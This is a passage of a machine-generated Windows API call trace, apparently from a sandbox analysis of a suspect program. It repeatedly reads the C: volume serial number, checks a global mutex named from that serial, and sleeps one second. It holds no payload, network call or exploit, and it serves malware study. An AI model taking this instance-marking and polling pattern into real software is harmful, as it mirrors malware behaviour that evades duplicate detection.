lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0072.616] GetProcessHeap () returned 0x550000 [0072.616] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0072.616] GetProcessHeap () returned 0x550000 [0072.616] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0072.617] GetProcessHeap () returned 0x550000 [0072.617] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0072.617] GetProcessHeap () returned 0x550000 [0072.617] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0072.619] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c8 [0072.620] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x102 [0072.620] CloseHandle (hObject=0x1c8) returned 1 [0072.620] GetProcessHeap () returned 0x550000 [0072.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0072.620] GetProcessHeap () returned 0x550000 [0072.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0072.620] Sleep (dwMilliseconds=0x3e8) [0074.560] GetProcessHeap () returned 0x550000 [0074.560] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a648 [0074.561] GetProcessHeap () returned 0x550000 [0074.561] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a5d0 [0074.561] GetProcessHeap () returned 0x550000 [0074.561] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a670 [0074.561] GetProcessHeap () returned 0x550000 [0074.561] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0074.561] GetProcessHeap () returned 0x550000 [0074.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0074.561] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a5d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0074.561] GetProcessHeap () returned 0x550000 [0074.561] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0074.562] GetProcessHeap () returned 0x550000 [0074.562] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0074.562] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0074.563] GetProcessHeap () returned 0x550000 [0074.563] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a5d0 | out: hHeap=0x550000) returned 1 [0074.563] GetProcessHeap () returned 0x550000 [0074.563] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0074.563] GetProcessHeap () returned 0x550000 [0074.563] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0074.563] GetProcessHeap () returned 0x550000 [0074.563] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0074.563] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c8 [0074.563] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x102 [0074.564] CloseHandle (hObject=0x1c8) returned 1 [0074.564] GetProcessHeap () returned 0x550000 [0074.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0074.564] GetProcessHeap () returned 0x550000 [0074.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0074.564] Sleep (dwMilliseconds=0x3e8) [0076.763] GetProcessHeap () returned 0x550000 [0076.763] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a648 [0076.763] GetProcessHeap () returned 0x550000 [0076.763] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a670 [0076.764] GetProcessHeap () returned 0x550000 [0076.764] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0076.764] GetProcessHeap () returned 0x550000 [0076.764] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0076.764] GetProcessHeap () returned 0x550000 [0076.764] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0076.764] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a670, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0076.765] GetProcessHeap () returned 0x550000 [0076.765] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0076.765] GetProcessHeap () returned 0x550000 [0076.765] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0076.765] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0076.765] GetProcessHeap () returned 0x550000 [0076.765] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0076.765] GetProcessHeap () returned 0x550000 [0076.766] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0076.766] GetProcessHeap () returned 0x550000 [0076.766] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0076.766] GetProcessHeap () returned 0x550000 [0076.766] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0076.766] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0076.766] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0076.766] CloseHandle (hObject=0x1d0) returned 1 [0076.766] GetProcessHeap () returned 0x550000 [0076.766] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0076.766] GetProcessHeap () returned 0x550000 [0076.767] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0076.767] Sleep (dwMilliseconds=0x3e8) [0078.896] GetProcessHeap () returned 0x550000 [0078.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a670 [0078.896] GetProcessHeap () returned 0x550000 [0078.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a648 [0078.896] GetProcessHeap () returned 0x550000 [0078.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0078.897] GetProcessHeap () returned 0x550000 [0078.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0078.897] GetProcessHeap () returned 0x550000 [0078.897] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0078.897] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a648, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0078.897] GetProcessHeap () returned 0x550000 [0078.897] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0078.897] GetProcessHeap () returned 0x550000 [0078.897] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0078.897] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0078.898] GetProcessHeap () returned 0x550000 [0078.898] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0078.898] GetProcessHeap () returned 0x550000 [0078.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0078.898] GetProcessHeap () returned 0x550000 [0078.898] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0078.898] GetProcessHeap () returned 0x550000 [0078.898] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0078.898] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x164 [0078.899] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x0) returned 0x102 [0078.899] CloseHandle (hObject=0x164) returned 1 [0078.899] GetProcessHeap () returned 0x550000 [0078.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0078.899] GetProcessHeap () returned 0x550000 [0078.899] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0078.899] Sleep (dwMilliseconds=0x3e8) [0081.249] GetProcessHeap () returned 0x550000 [0081.249] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a648 [0081.249] GetProcessHeap () returned 0x550000 [0081.249] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a670 [0081.250] GetProcessHeap () returned 0x550000 [0081.250] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0081.250] GetProcessHeap () returned 0x550000 [0081.250] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x26820b0 [0081.250] GetProcessHeap () returned 0x550000 [0081.250] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26820b0 | out: hHeap=0x550000) returned 1 [0081.250] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a670, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0081.250] GetProcessHeap () returned 0x550000 [0081.250] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0081.250] GetProcessHeap () returned 0x550000 [0081.250] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0081.250] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0081.251] GetProcessHeap () returned 0x550000 [0081.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0081.251] GetProcessHeap () returned 0x550000 [0081.251] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0081.251] GetProcessHeap () returned 0x550000 [0081.251] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0081.252] GetProcessHeap () returned 0x550000 [0081.252] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0081.252] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0081.252] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0081.252] CloseHandle (hObject=0x1d0) returned 1 [0081.252] GetProcessHeap () returned 0x550000 [0081.252] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0081.253] GetProcessHeap () returned 0x550000 [0081.253] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0081.253] Sleep (dwMilliseconds=0x3e8) [0083.072] GetProcessHeap () returned 0x550000 [0083.072] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a670 [0083.072] GetProcessHeap () returned 0x550000 [0083.072] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a648 [0083.073] GetProcessHeap () returned 0x550000 [0083.073] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0083.073] GetProcessHeap () returned 0x550000 [0083.073] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0083.073] GetProcessHeap () returned 0x550000 [0083.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0083.073] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a648, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0083.073] GetProcessHeap () returned 0x550000 [0083.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0083.073] GetProcessHeap () returned 0x550000 [0083.073] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0083.074] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0083.075] GetProcessHeap () returned 0x550000 [0083.075] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0083.075] GetProcessHeap () returned 0x550000 [0083.075] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0083.075] GetProcessHeap () returned 0x550000 [0083.075] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0083.075] GetProcessHeap () returned 0x550000 [0083.075] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0083.075] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0083.075] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0083.076] CloseHandle (hObject=0x1d0) returned 1 [0083.076] GetProcessHeap () returned 0x550000 [0083.076] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0083.076] GetProcessHeap () returned 0x550000 [0083.076] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0083.076] Sleep (dwMilliseconds=0x3e8) [0084.704] GetProcessHeap () returned 0x550000 [0084.704] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a648 [0084.704] GetProcessHeap () returned 0x550000 [0084.704] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a670 [0084.704] GetProcessHeap () returned 0x550000 [0084.704] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0084.704] GetProcessHeap () returned 0x550000 [0084.704] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x26820b0 [0084.704] GetProcessHeap () returned 0x550000 [0084.704] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26820b0 | out: hHeap=0x550000) returned 1 [0084.704] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a670, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0084.704] GetProcessHeap () returned 0x550000 [0084.704] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0084.704] GetProcessHeap () returned 0x550000 [0084.704] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0084.704] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0084.706] GetProcessHeap () returned 0x550000 [0084.706] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0084.706] GetProcessHeap () returned 0x550000 [0084.706] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0084.706] GetProcessHeap () returned 0x550000 [0084.706] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0084.706] GetProcessHeap () returned 0x550000 [0084.706] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0084.706] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x164 [0084.707] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x0) returned 0x102 [0084.708] CloseHandle (hObject=0x164) returned 1 [0084.708] GetProcessHeap () returned 0x550000 [0084.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0084.708] GetProcessHeap () returned 0x550000 [0084.708] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0084.708] Sleep (dwMilliseconds=0x3e8) [0086.031] GetProcessHeap () returned 0x550000 [0086.031] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a670 [0086.031] GetProcessHeap () returned 0x550000 [0086.031] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a648 [0086.031] GetProcessHeap () returned 0x550000 [0086.031] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0086.031] GetProcessHeap () returned 0x550000 [0086.031] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0086.031] GetProcessHeap () returned 0x550000 [0086.032] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0086.032] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a648, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0086.032] GetProcessHeap () returned 0x550000 [0086.032] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0086.032] GetProcessHeap () returned 0x550000 [0086.032] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0086.032] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0086.033] GetProcessHeap () returned 0x550000 [0086.033] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0086.033] GetProcessHeap () returned 0x550000 [0086.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0086.033] GetProcessHeap () returned 0x550000 [0086.033] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0086.033] GetProcessHeap () returned 0x550000 [0086.033] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0086.033] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d0 [0086.033] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0086.033] CloseHandle (hObject=0x1d0) returned 1 [0086.034] GetProcessHeap () returned 0x550000 [0086.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0086.034] GetProcessHeap () returned 0x550000 [0086.034] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0086.034] Sleep (dwMilliseconds=0x3e8) [0087.377] GetProcessHeap () returned 0x550000 [0087.377] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a648 [0087.377] GetProcessHeap () returned 0x550000 [0087.377] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a670 [0087.377] GetProcessHeap () returned 0x550000 [0087.377] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0087.377] GetProcessHeap () returned 0x550000 [0087.377] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x26820b0 [0087.377] GetProcessHeap () returned 0x550000 [0087.377] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26820b0 | out: hHeap=0x550000) returned 1 [0087.378] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a670, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0087.378] GetProcessHeap () returned 0x550000 [0087.378] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0087.378] GetProcessHeap () returned 0x550000 [0087.378] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0087.378] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0087.378] GetProcessHeap () returned 0x550000 [0087.379] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0087.379] GetProcessHeap () returned 0x550000 [0087.379] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0087.379] GetProcessHeap () returned 0x550000 [0087.379] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0087.379] GetProcessHeap () returned 0x550000 [0087.379] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0087.379] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1d4 [0087.379] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x102 [0087.380] CloseHandle (hObject=0x1d4) returned 1 [0087.380] GetProcessHeap () returned 0x550000 [0087.380] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0087.380] GetProcessHeap () returned 0x550000 [0087.380] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0087.380] Sleep (dwMilliseconds=0x3e8) [0088.727] GetProcessHeap () returned 0x550000 [0088.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a670 [0088.727] GetProcessHeap () returned 0x550000 [0088.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a648 [0088.727] GetProcessHeap () returned 0x550000 [0088.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x576cf8 [0088.727] GetProcessHeap () returned 0x550000 [0088.727] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x2682148 [0088.727] GetProcessHeap () returned 0x550000 [0088.727] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2682148 | out: hHeap=0x550000) returned 1 [0088.728] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a648, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0088.728] GetProcessHeap () returned 0x550000 [0088.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x576cf8 | out: hHeap=0x550000) returned 1 [0088.728] GetProcessHeap () returned 0x550000 [0088.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a670 | out: hHeap=0x550000) returned 1 [0088.728] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x24afb6c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x24afb6c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0088.728] GetProcessHeap () returned 0x550000 [0088.728] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a648 | out: hHeap=0x550000) returned 1 [0088.728] GetProcessHeap () returned 0x550000 [0088.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0088.729] GetProcessHeap () returned 0x550000 [0088.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563fd0 [0088.729] GetProcessHeap () returned 0x550000 [0088.729] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x72) returned 0x55f900 [0088.729] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a4 [0088.729] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0088.729] CloseHandle (hObject=0x1a4) returned 1 [0088.729] GetProcessHeap () returned 0x550000 [0088.729] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f88 | out: hHeap=0x550000) returned 1 [0088.730] GetProcessHeap () returned 0x550000 [0088.730] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0088.730] Sleep (dwMilliseconds=0x3e8) Thread: id = 15 os_tid = 0x320 [0060.291] GetProcessHeap () returned 0x550000 [0060.291] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x21a) returned 0x572518 [0060.291] GetProcessHeap () returned 0x550000 [0060.291] RtlAllocateHeap 